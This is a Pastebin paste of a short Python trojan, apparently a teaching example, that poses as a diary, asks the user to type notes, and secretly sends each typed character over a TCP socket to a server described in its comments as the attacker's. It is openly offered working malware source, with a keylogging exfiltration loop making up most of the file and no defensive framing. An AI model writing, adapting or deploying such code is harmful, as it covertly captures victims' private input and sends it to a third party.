Advertisement
FlyFar

trojan/trojan.py

Oct 19th, 2023
1,144
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.93 KB | Cybersecurity | 0 0
  1. #!/usr/bin/env python3
  2.  
  3. """ Implementation of trojan that collects data and sends them to server.
  4.    It acts like an ordinary diary.
  5. """
  6.  
  7. import logging
  8. import socket
  9. import sys
  10.  
  11.  
  12. class Trojan:
  13.     """ This class represents the implementation of trojan disguised
  14.        as diary.
  15.    """
  16.  
  17.     def __init__(self, host, port):
  18.         self._host = host
  19.         self._port = port
  20.         # Initialize socket for the connection.
  21.         self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  22.  
  23.     @property
  24.     def host(self):
  25.         """ Server that collects obtained data. """
  26.         return self._host
  27.  
  28.     @host.setter
  29.     def host(self, new_host):
  30.         self._host = new_host
  31.  
  32.     @property
  33.     def port(self):
  34.         """ Port, on which the server runs (`int`). """
  35.         return self._port
  36.  
  37.     @port.setter
  38.     def port(self, new_port):
  39.         self._port = new_port
  40.  
  41.     @property
  42.     def socket(self):
  43.         """ Client socket. """
  44.         return self._socket
  45.  
  46.     def collect_data(self):
  47.         """ Secretly collect data and send them to server. """
  48.         # Create a connection to the server.
  49.         try:
  50.             self.socket.connect((self.host, self.port))
  51.         except socket.error:
  52.             logging.debug('Trojan could not connect to the server.')
  53.             return
  54.  
  55.         # Try to act as an ordinary diary.
  56.         print('Hello, this is your diary. You can type here your notes: ')
  57.  
  58.         # Read notes written by the victim and send them to the server.
  59.         while True:
  60.             character = sys.stdin.read(1)
  61.             self.socket.send(bytes(character, 'utf-8'))
  62.  
  63.  
  64. if __name__ == '__main__':
  65.     logging.basicConfig(level=logging.DEBUG)
  66.  
  67.     # Initialize trojan application that acts like an diary.
  68.     trojan = Trojan('localhost', 27000)
  69.     # Collect the data and send them to the server running
  70.     # on the attacket's side.
  71.     trojan.collect_data()
Tags: trojan main
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement